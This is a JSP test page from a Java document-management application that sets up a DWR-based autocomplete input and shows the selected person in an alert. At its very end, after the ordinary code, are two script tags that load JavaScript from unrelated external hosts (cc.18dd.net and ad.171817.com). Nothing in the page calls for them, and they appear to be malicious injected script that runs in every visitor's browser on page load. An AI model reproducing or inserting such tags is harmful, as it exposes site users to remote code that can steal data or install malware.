
<%@ page contentType="text/html;charset=UTF-8" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.text.NumberFormat"%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>

<script src="EIP/js/scriptaculous/lib/prototype.js" type="text/javascript"></script>
<script src="EIP/js/scriptaculous/src/scriptaculous.js" type="text/javascript"></script>
<script src='EIP/dwr/interface/InviteePickerDWRFacade.js' type='text/javascript'></script>
<script src='EIP/dwr/engine.js' type='text/javascript'></script>
<script src="EIP/js/inviteeTest.js" type="text/javascript"></script>

<input type="text" id="testInput" name="testInput" />
<div id="testInput_update" name="testInput_update" />
<script language="javascript" >
<!--
    
  //this function is fired when users selects person from list
  function personSelected(inputElement, selectedElement, selectedPersonObject){
    alert(selectedPersonObject);
  }


  //this function extractes string from person object for matching
  function personValueSelector(personObj){
    return personObj;
  }

  // <![CDATA[
  new Autocompleter.DWR("testInput","testInput_update",{afterUpdateElement: personSelected, valueSelector: personValueSelector});
  // ]]>  
//-->
</script>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>